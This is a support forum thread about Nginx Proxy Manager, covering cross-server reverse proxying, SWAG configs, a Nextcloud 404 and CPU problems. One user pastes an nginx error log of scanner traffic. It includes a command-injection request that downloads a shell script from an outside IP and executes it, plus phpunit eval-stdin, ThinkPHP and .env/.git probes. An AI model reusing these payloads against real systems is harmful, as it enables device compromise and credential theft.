[Support] Djoss - Nginx Proxy Manager


Djoss

Recommended Posts

1 hour ago, mattie112 said:

What exactly do you want?

 

containers on B to be able to access containers on A (behind the proxy)

-> then why not access them through the proxy?

 

NPM on A to be able to forward traffic to containers on B

-> then why not expose a port (and/or IP) on B?

 

But with some iptables magic you should be able to "bridge" networks I think but I can't really help you with that config.

 

Hello guys.  Thanks for the responses.    So this is server 'A' (ports 443/80 redirected/forwarded to 192.168.1.25) my main server.  These containers in the screenshot here have all been configure for reverseproxy and communicate on the custom network interface I created called 'reverseproxy' (172.19.0.0/16).  

 

image.png.206702fda9f7da1f90ca5509ab5e9f73.png

 

These here containers below are on server 'B' (192.168.1.11) and I would like to reversproxy these also using the SWAG proxy manager from server 'A' and possibly the same custom docker interface from server 'A'.  Is this possible?  

 

image.png.a0117b8608b84a41abe3c8e9ed18fcfa.png

 

Again...  thanks for the help and hope I'm making sense to you all :) considering I'm a basic user.  FYI...  I tried to create a seperate SWAG proxy manager on server 'B' until I realized I cannot redirect/ forward ports 443/80 to server 'B' as I only have one public address to work with.  

 

Edited by cpthook
Link to comment

I don't really see why you want them to be in the same docker network/interface. If you just want to be able to reverse proxy them then just expose the ports. For example

 

Server A with NPM IP 1.1.1.1

Sonarrr is on server B with IP 2.2.2.2 (map sonar port to host port 12345)

 

Then just add a host sonarr.domain -> 2.2.2.2:12345

 

And if you run them on a different IP you can use that IP instead of 2.2.2.2

But: you can't really use the same range as that is (by default) only handled internally. You can go to network settings and set a range (or an IP) to go through a different interface but then your router also needs to know where to forward it to as that range will not be 'known' by your local network.

 

(and yes you can either direct attach or do some IPtables solution but I can't really help you with that)

 

Perhaps it will work by adding a range and setting the gateway IP of your server B but I'm not sure.

Link to comment
13 minutes ago, mattie112 said:

I don't really see why you want them to be in the same docker network/interface. If you just want to be able to reverse proxy them then just expose the ports. For example

 

Server A with NPM IP 1.1.1.1

Sonarrr is on server B with IP 2.2.2.2 (map sonar port to host port 12345)

 

Then just add a host sonarr.domain -> 2.2.2.2:12345

 

 

 

Yes.  All i want to do is reverseproxy containers on server 'B'.  However, I'm understanding you saying map Sonarr to host port like in screenshot below.  I am not following what you are saying here:  "Then just add a host sonarr.domain -> 2.2.2.2:12345".  I'm assuming add to my router and expose '12345'.  Or in my case below, the defaulr Sonarr port 8989?? 

 

image.thumb.png.7a47645517149baf54a2b83593f12832.png

 

image.thumb.png.50b4561ea0ea2124ee19a50698d9ec20.png

Link to comment
46 minutes ago, mattie112 said:

Your server B is on the same internal network as server A right? Then you don't need to forward any ports.

 

In your example just add a host in NPM for sonarr.domain -> ip.of.server.B:8989

 

Thank you sir.  So I beleieve the equivelant in SWAG would be to add/ rename this conf file here and restart SWAG.  Problem now is...  when I do this, SWAG does not see the new .conf file after rename.  It olnly sees my custom .conf files created automatically with Dockersocket.  If I need to switch this conversation to the SWAG post please let me know.

 

image.thumb.png.b40b33483a890fb14e1650741a778194.png

 


[custom-init] No custom files found, skipping...
**** installing docker and docker compose ****
**** docker and docker-compose already installed, skipping ****
**** Remote docker service dockersocket will be used ****
**** swag-auto-reload deps already installed, skipping ****
**** No preset proxy conf found for towerdata, generating from scratch ****
**** Setting upstream address towerdata for towerdata ****
**** Setting port 19999 for towerdata ****
**** Setting proto http for towerdata ****
**** Setting url towerdata.* for towerdata ****
**** No preset proxy conf found for Guacamole, generating from scratch ****
**** Setting upstream address Guacamole for Guacamole ****
**** Setting port 8080 for Guacamole ****
**** Setting proto http for Guacamole ****
**** Setting url Guacamole.* for Guacamole ****
**** No preset proxy conf found for HooksIPTV, generating from scratch ****
**** Setting upstream address HooksIPTV for HooksIPTV ****
**** Setting port 8096 for HooksIPTV ****
**** Setting proto http for HooksIPTV ****
**** Setting url HooksIPTV.* for HooksIPTV ****
**** Using preset proxy conf for ombi ****
**** No preset proxy conf found for youtubedl, generating from scratch ****
**** Setting upstream address youtubedl for youtubedl ****
**** Setting port 17442 for youtubedl ****
**** Setting proto http for youtubedl ****
**** Setting url youtubedl.* for youtubedl ****
**** Using preset proxy conf for tautulli ****
**** No preset proxy conf found for FileBrowser, generating from scratch ****
**** Setting upstream address FileBrowser for FileBrowser ****
**** Setting port 80 for FileBrowser ****
**** Setting proto http for FileBrowser ****
**** Setting url FileBrowser.* for FileBrowser ****
s6-rc: info: service init-mod-swag-auto-proxy-setup successfully started
s6-rc: info: service init-mods-end: starting
s6-rc: info: service init-mods-end successfully started
s6-rc: info: service init-services: starting
s6-rc: info: service init-services successfully started
s6-rc: info: service svc-mod-swag-auto-reload: starting
s6-rc: info: service svc-mod-swag-auto-reload successfully started
s6-rc: info: service legacy-services: starting
services-up: info: copying legacy longrun cron (no readiness notification)
services-up: info: copying legacy longrun fail2ban (no readiness notification)
services-up: info: copying legacy longrun nginx (no readiness notification)
services-up: info: copying legacy longrun php-fpm (no readiness notification)
MOD Auto-reload: Watching the following files/folders for changes (excluding .sample and .md files):
/config/nginx
s6-rc: info: service legacy-services successfully started
s6-rc: info: service 99-ci-service-check: starting
[ls.io-init] done.
s6-rc: info: service 99-ci-service-check successfully started
Server ready

 

Link to comment
34 minutes ago, mattie112 said:

Sorry, I don't use SWAG so yeah I would ask it there.

 

NP.....  thank for all the assistance.  Once I add sonarr config I should be GTG.  I use the autoproxy docker-mod and dockersocket container to create custom nginx configurations for each application.  Hence the reason I wish I could use the same docker network across both server A and B.

Link to comment

Hi,

 

I´ve got a problem with the npm. Since I updated unraid to 6.11 the nas becomes unresponsive and the cpu in the dashboard goes up to 100%. Htop and top only show about 30% but all the docker container and the nas itself are getting slow.

 

I tried to kill one container after another but since today I wasn´t able to kill the npm container. There was just an error message when I tried to kill it. Also I was not able to connect to the container itself. 

 

I wasn´t even able to reboot the nas (via dashboard or ssh) so I needed unplug the power cable. 

 

Today I was able to kill npm (no idea how) and the cpu usage got normal. After I restarted npm everything worked fine. So I think  the problem is related to npm, because I am able to kill every container except npm but killing the other containers didn´t work out.

 

I figured out that the problem occures arround 09pm (CET+1) because we often watch a movie via emby and it´s not possible to watch anymore with the high cpu load - even with direct play. Also simple file access to the nas isn´t possible anymore. After the reboot of the nas / killing the npm everything is ok.

 

Do you have any idea how to troubleshoot this problem?

 

Thx

 

Link to comment

I'm trying to inject a link into every page served but having issues.

 

location / {
    sub_filter </head>
        '</head><a href="https://example.com" rel="me" style="display:none"></a>';
    sub_filter_once on;
}

 

When I try this as Advanced Configuration or as Custom Location I see a "Welcome to OpenResty!" page.

Anyone know how I can do this?

 

qhvKVgjMSu.png

blU9Ay9tQp.png

Link to comment
1 hour ago, pkoasne said:

I'm trying to inject a link into every page served but having issues.

 

location / {
    sub_filter </head>
        '</head><a href="https://example.com" rel="me" style="display:none"></a>';
    sub_filter_once on;
}

 

When I try this as Advanced Configuration or as Custom Location I see a "Welcome to OpenResty!" page.

Anyone know how I can do this?

 

qhvKVgjMSu.png

blU9Ay9tQp.png

 

Open a shell into your NPM docker container and verify the result of your action (the nginx config file). I don't use this feature but perhaps it is already put into a location block?

Link to comment
32 minutes ago, mattie112 said:

 

Open a shell into your NPM docker container and verify the result of your action (the nginx config file). I don't use this feature but perhaps it is already put into a location block?

 

thanks. I think i got it working.  If i enter "location /" it replaces the existing (working) location /{} in the config file. If I enter it without that, it just adds it to the file but not in the predefined "location /" section and seems to work. testing now. thanks

Edited by pkoasne
Link to comment

Hi, looking for some assistance setting this up with nextcloud. I've been messing around for longer than is healthy and hit a wall! I have a domain on cloudflare with nextcloud CNAME - nextcloud.mydomain.com. I configured NGINX to point to nextcloud but get a 404 error. I can access nextcloud locally when I remove the "overwrite" commands in the config.

 

-nextcloud, cloudflare ddns & nginx all on custom network (proxynet)

-server is 192.168.0.2

nextcloud is on port 444

-port forwarded as follows on a sky router

image.png.2d9f27a826d7fcbe195dd6d5295ececf.png

-cloudflare A record points to my public IP

-nextcloud config attached

-nginx settings

image.png.98a18517f11f595fbdd75ba8d5150498.png

-cloudflare set to "full" on SSL/TLS, records are "proxied"

 

Result is a 404 not found error when accessing externally !

nextcloud.config.edit.txt

Link to comment

And what if you access your IP directly http(s)://your.external.ip ? What do you see? If you get a not found served by NPM at least that part is working. Or do you think the not found is send to you by nextcloud? Check the nextcloud container for example do you see your connection attempt there?

 

(also: it seems kinda strange that you forward it to https://192.168.0.2:444 usually you forward to a http endpoint because that is where you use NPM for; ssl termination).

Link to comment

Accessing external IP on https shows the same message - "404 not found ". I should have said the not found has a "nginx" footer so it's the same message. Changing to http I hit the log in page for the server.

 

The page does have the correct nextcloud address and is secure with uploaded certs but just doesn't seem to be finding nextcloud on the server.

 

Tried this from NGINX terminal:

/tmp # curl -sS http://192.168.0.2:444 >/dev/null && echo "Container is reachable"
Container is reachable

Edited by SRTG
update
Link to comment
  • 3 weeks later...

I'm having an issue where I hadn't used some of my subdomains for some time with nextcloud. I have been using a duckdns link for when my public IP changed. Now I am getting warnings about some certificates expiring and I've found that none of subdomains I've had for years now with Google are working however my duckdns link is still accessing nextcloud properly and when I use a browser to try the subdomains I'm getting that "congratulations you've successfully started the Nginx Proxy Manager". So if from a browser off my LAN my duckdns link is working what is causing my subdomains to not load. For example b***.***server.com and *****.duckdns.org both go to nextcloud but only duckdns loads it. 

Thanks in advance for any help!!

Link to comment

OK what I'm getting in my nginx error log is this. I edited it down to the last 2 pages

022/12/02 09:48:27 [warn] 6827#6827: 1024 worker_connections are not enough, reusing connections
2022/12/02 09:48:28 [warn] 6827#6827: 1024 worker_connections are not enough, reusing connections
2022/12/02 09:48:31 [warn] 6827#6827: 1024 worker_connections are not enough, reusing connections
2022/12/02 09:48:33 [warn] 6827#6827: 1024 worker_connections are not enough, reusing connections
2022/12/02 09:48:36 [warn] 6827#6827: 1024 worker_connections are not enough, reusing connections
2022/12/02 09:48:38 [warn] 6827#6827: 1024 worker_connections are not enough, reusing connections
2022/12/02 09:55:04 [error] 6827#6827: *62330 open() "/var/www/html/boaform/admin/formLogin" failed (2: No such file or directory), client: 141.255.166.2, server: localhost-nginx-proxy-manager, request: "POST /boaform/admin/formLogin HTTP/1.1", host: "X.X.X.X:80", referrer: "http://X.X.X.X:80/admin/login.asp"
2022/12/02 09:55:49 [error] 6827#6827: *62331 open() "/var/www/html/bc61121a8191137a1f6357ea09cea3d3.html" failed (2: No such file or directory), client: 179.43.187.234, server: localhost-nginx-proxy-manager, request: "GET http://proxy.korsangazi.com:80/bc61121a8191137a1f6357ea09cea3d3.html HTTP/1.1", host: "proxy.korsangazi.com:80"
2022/12/02 10:50:47 [alert] 6827#6827: 1024 worker_connections are not enough
2022/12/02 10:50:47 [error] 6828#6828: *65055 recv() failed (104: Connection reset by peer) while reading response header from upstream, client: 127.0.0.1, server: localhost-nginx-proxy-manager, request: "GET /favicon.ico HTTP/1.1", upstream: "http://127.0.0.1:8080/favicon.ico", host: "X.X.X.X"
2022/12/02 11:00:02 [error] 6827#6827: *65066 open() "/var/www/html/cgi-bin/masterCGI" failed (2: No such file or directory), client: 85.31.44.178, server: localhost-nginx-proxy-manager, request: "GET /cgi-bin/masterCGI?ping=nomip&user=;cd${IFS}/tmp;wget${IFS}http://185.132.53.105/f/strs.sh${IFS}-O-${IFS}>sfs;chmod${IFS}777${IFS}sfs;sh${IFS}sfs${IFS}Alcatel; HTTP/1.1", host: "X.X.X.X:80"
2022/12/02 12:38:00 [error] 6827#6827: *65081 open() "/var/www/html/.env" failed (2: No such file or directory), client: 109.237.97.180, server: localhost-nginx-proxy-manager, request: "GET /.env HTTP/1.1", host: "X.X.X.X"
2022/12/02 13:05:34 [error] 6866#6866: *65093 open() "/var/www/html/boaform/admin/formLogin" failed (2: No such file or directory), client: 141.255.166.2, server: localhost-nginx-proxy-manager, request: "POST /boaform/admin/formLogin HTTP/1.1", host: "X.X.X.X:80", referrer: "http://X.X.X.X:80/admin/login.asp"
2022/12/02 13:08:59 [error] 6866#6866: *65096 open() "/var/www/html/cgi-bin/masterCGI" failed (2: No such file or directory), client: 85.31.44.156, server: localhost-nginx-proxy-manager, request: "GET /cgi-bin/masterCGI?ping=nomip&user=;cd${IFS}/tmp;wget${IFS}http://185.132.53.105/f/strs.sh${IFS}-O-${IFS}>sfs;chmod${IFS}777${IFS}sfs;sh${IFS}sfs${IFS}Alcatel; HTTP/1.1", host: "X.X.X.X:80"
2022/12/02 13:25:17 [error] 6866#6866: *65103 open() "/var/www/html/wp-config.php.save" failed (2: No such file or directory), client: 191.96.227.187, server: localhost-nginx-proxy-manager, request: "GET /wp-config.php.save HTTP/1.1", host: "X.X.X.X"
2022/12/02 15:12:56 [error] 6866#6866: *65131 open() "/var/www/html/.env" failed (2: No such file or directory), client: 4.14.70.9, server: localhost-nginx-proxy-manager, request: "GET /.env HTTP/1.1", host: "X.X.X.X"
2022/12/02 16:22:28 [error] 6866#6866: *65147 open() "/var/www/html/boaform/admin/formLogin" failed (2: No such file or directory), client: 141.255.166.2, server: localhost-nginx-proxy-manager, request: "POST /boaform/admin/formLogin HTTP/1.1", host: "X.X.X.X:80", referrer: "http://X.X.X.X:80/admin/login.asp"
2022/12/02 17:57:02 [alert] 6866#6866: 1024 worker_connections are not enough
2022/12/02 17:57:02 [error] 6867#6867: *67073 recv() failed (104: Connection reset by peer) while reading response header from upstream, client: 127.0.0.1, server: localhost-nginx-proxy-manager, request: "GET /favicon.ico HTTP/1.1", upstream: "http://127.0.0.1:8080/favicon.ico", host: "X.X.X.X"
2022/12/02 18:38:41 [alert] 6866#6866: 1024 worker_connections are not enough
2022/12/02 18:38:41 [error] 6867#6867: *68953 recv() failed (104: Connection reset by peer) while reading response header from upstream, client: 127.0.0.1, server: localhost-nginx-proxy-manager, request: "GET /favicon.ico HTTP/1.1", upstream: "http://127.0.0.1:8080/favicon.ico", host: "X.X.X.X"
2022/12/02 18:38:46 [error] 6866#6866: *68955 open() "/var/www/html/robots.txt" failed (2: No such file or directory), client: 183.136.225.32, server: localhost-nginx-proxy-manager, request: "GET /robots.txt HTTP/1.1", host: "X.X.X.X:80"
2022/12/02 20:11:55 [error] 6905#6905: *68980 open() "/var/www/html/boaform/admin/formLogin" failed (2: No such file or directory), client: 141.255.166.2, server: localhost-nginx-proxy-manager, request: "POST /boaform/admin/formLogin HTTP/1.1", host: "X.X.X.X:80", referrer: "http://X.X.X.X:80/admin/login.asp"
2022/12/02 21:28:37 [error] 6905#6905: *68988 open() "/var/www/html/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" failed (2: No such file or directory), client: 152.89.196.211, server: localhost-nginx-proxy-manager, request: "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1", host: "X.X.X.X:80"
2022/12/02 21:46:33 [error] 6905#6905: *68990 open() "/var/www/html/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" failed (2: No such file or directory), client: 152.89.196.211, server: localhost-nginx-proxy-manager, request: "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1", host: "X.X.X.X:80"
2022/12/02 22:33:00 [error] 6905#6905: *68994 open() "/var/www/html/solr/admin/info/system" failed (2: No such file or directory), client: 152.89.196.211, server: localhost-nginx-proxy-manager, request: "GET /solr/admin/info/system?wt=json HTTP/1.1", host: "X.X.X.X:80"
2022/12/02 23:17:57 [error] 6905#6905: *69002 open() "/var/www/html/index.php" failed (2: No such file or directory), client: 152.89.196.211, server: localhost-nginx-proxy-manager, request: "GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1", host: "X.X.X.X:80"
2022/12/02 23:25:11 [alert] 6905#6905: 1024 worker_connections are not enough
2022/12/02 23:25:11 [error] 6906#6906: *70781 recv() failed (104: Connection reset by peer) while reading response header from upstream, client: 127.0.0.1, server: localhost-nginx-proxy-manager, request: "GET /favicon.ico HTTP/1.1", upstream: "http://127.0.0.1:8080/favicon.ico", host: "X.X.X.X.108"
2022/12/02 23:25:15 [error] 6905#6905: *70783 open() "/var/www/html/robots.txt" failed (2: No such file or directory), client: 183.136.225.32, server: localhost-nginx-proxy-manager, request: "GET /robots.txt HTTP/1.1", host: "X.X.X.X:80"
2022/12/02 23:36:31 [error] 6905#6905: *70787 open() "/var/www/html/boaform/admin/formLogin" failed (2: No such file or directory), client: 141.255.166.2, server: localhost-nginx-proxy-manager, request: "POST /boaform/admin/formLogin HTTP/1.1", host: "X.X.X.X:80", referrer: "http://X.X.X.X:80/admin/login.asp"
2022/12/03 00:00:05 [error] 6907#6907: *70820 open() "/var/www/html/Portal0000.htm" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /Portal0000.htm HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:05 [error] 6905#6905: *70816 open() "/var/www/html/sdk" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "POST /sdk HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:05 [error] 6905#6905: *70809 open() "/var/www/html/scripts/WPnBr.dll" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "POST /scripts/WPnBr.dll HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:05 [error] 6905#6905: *70814 open() "/var/www/html/nmaplowercheck1670047205" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /nmaplowercheck1670047205 HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:06 [error] 6905#6905: *70828 open() "/var/www/html/__Additional" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /__Additional HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:06 [error] 6905#6905: *70830 open() "/var/www/html/HNAP1" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /HNAP1 HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:06 [error] 6905#6905: *71040 open() "/var/www/html/pools/default/buckets" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /pools/default/buckets HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:06 [warn] 6905#6905: 1024 worker_connections are not enough, reusing connections
2022/12/03 00:00:06 [alert] 6905#6905: *72720 1024 worker_connections are not enough while connecting to upstream, client: 127.0.0.1, server: localhost-nginx-proxy-manager, request: "GET /favicon.ico HTTP/1.1", upstream: "http://127.0.0.1:8080/favicon.ico", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:06 [error] 6907#6907: *72725 open() "/var/www/html/pools" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /pools HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:06 [error] 6907#6907: *72723 open() "/var/www/html/index.jsa" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /index.jsa HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:06 [error] 6906#6906: *72730 open() "/var/www/html/.git/HEAD" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /.git/HEAD HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:06 [error] 6905#6905: *72732 open() "/var/www/html/Portal/Portal.mwsl" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /Portal/Portal.mwsl HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:06 [error] 6906#6906: *72737 open() "/var/www/html/inicio.jsp" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /inicio.jsp HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:06 [error] 6905#6905: *72740 "/var/www/html/docs/cplugError.html/index.html" is not found (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /docs/cplugError.html/ HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:06 [error] 6906#6906: *72743 open() "/var/www/html/localstart.asp" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /localstart.asp HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:07 [error] 6905#6905: *72752 open() "/var/www/html/menu.aspx" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /menu.aspx HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:07 [error] 6906#6906: *72754 open() "/var/www/html/inicio.php" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /inicio.php HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:07 [error] 6906#6906: *72759 open() "/var/www/html/menu.jhtml" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /menu.jhtml HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:07 [error] 6905#6905: *72761 open() "/var/www/html/robots.txt" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /robots.txt HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:07 [error] 6906#6906: *72763 open() "/var/www/html/default.aspx" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /default.aspx HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:08 [error] 6906#6906: *72764 open() "/var/www/html/default.pl" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /default.pl HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:08 [error] 6905#6905: *72766 open() "/var/www/html/readme.txt" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /readme.txt HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:08 [error] 6905#6905: *72767 open() "/var/www/html/inicio.pl" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /inicio.pl HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:08 [error] 6905#6905: *72768 open() "/var/www/html/index.pl" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /index.pl HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:08 [error] 6905#6905: *72769 open() "/var/www/html/admin.jhtml" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /admin.jhtml HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:09 [error] 6905#6905: *72770 open() "/var/www/html/default.cfm" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /default.cfm HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:09 [error] 6905#6905: *72771 open() "/var/www/html/admin.asp" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /admin.asp HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:09 [error] 6905#6905: *72772 open() "/var/www/html/admin.pl" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /admin.pl HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:09 [error] 6905#6905: *72773 open() "/var/www/html/start.jsa" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /start.jsa HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:09 [error] 6905#6905: *72774 open() "/var/www/html/base.jsp" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /base.jsp HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:10 [error] 6905#6905: *72775 open() "/var/www/html/indice.cfm" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /indice.cfm HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:10 [error] 6905#6905: *72776 open() "/var/www/html/indice.cgi" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /indice.cgi HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:10 [error] 6905#6905: *72777 open() "/var/www/html/localstart.php" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /localstart.php HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:10 [error] 6905#6905: *72778 open() "/var/www/html/base.php" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /base.php HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:10 [error] 6905#6905: *72779 open() "/var/www/html/inicio.cfm" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /inicio.cfm HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:11 [error] 6905#6905: *72780 open() "/var/www/html/admin.jsp" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /admin.jsp HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:11 [error] 6905#6905: *72781 open() "/var/www/html/admin.jsa" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /admin.jsa HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:11 [error] 6905#6905: *72782 open() "/var/www/html/admin.shtml" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /admin.shtml HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:11 [error] 6905#6905: *72783 open() "/var/www/html/inicio.html" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /inicio.html HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:11 [error] 6905#6905: *72784 open() "/var/www/html/indice.jsp" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /indice.jsp HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:12 [error] 6905#6905: *72785 open() "/var/www/html/home.php" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /home.php HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:12 [error] 6905#6905: *72786 open() "/var/www/html/default.html" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /default.html HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:12 [error] 6905#6905: *72787 open() "/var/www/html/admin.cgi" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /admin.cgi HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:12 [error] 6905#6905: *72788 open() "/var/www/html/admin.cfm" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /admin.cfm HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:12 [error] 6905#6905: *72789 open() "/var/www/html/index.shtml" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /index.shtml HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:13 [error] 6905#6905: *72790 open() "/var/www/html/home.jsp" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /home.jsp HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:13 [error] 6905#6905: *72791 open() "/var/www/html/start.php" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /start.php HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:13 [error] 6905#6905: *72792 open() "/var/www/html/default.cgi" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /default.cgi HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:13 [error] 6905#6905: *72793 open() "/var/www/html/admin.aspx" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /admin.aspx HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:13 [error] 6905#6905: *72794 open() "/var/www/html/index.jhtml" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /index.jhtml HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:14 [error] 6905#6905: *72795 open() "/var/www/html/base.shtml" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /base.shtml HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:14 [error] 6905#6905: *72796 open() "/var/www/html/home.asp" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /home.asp HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
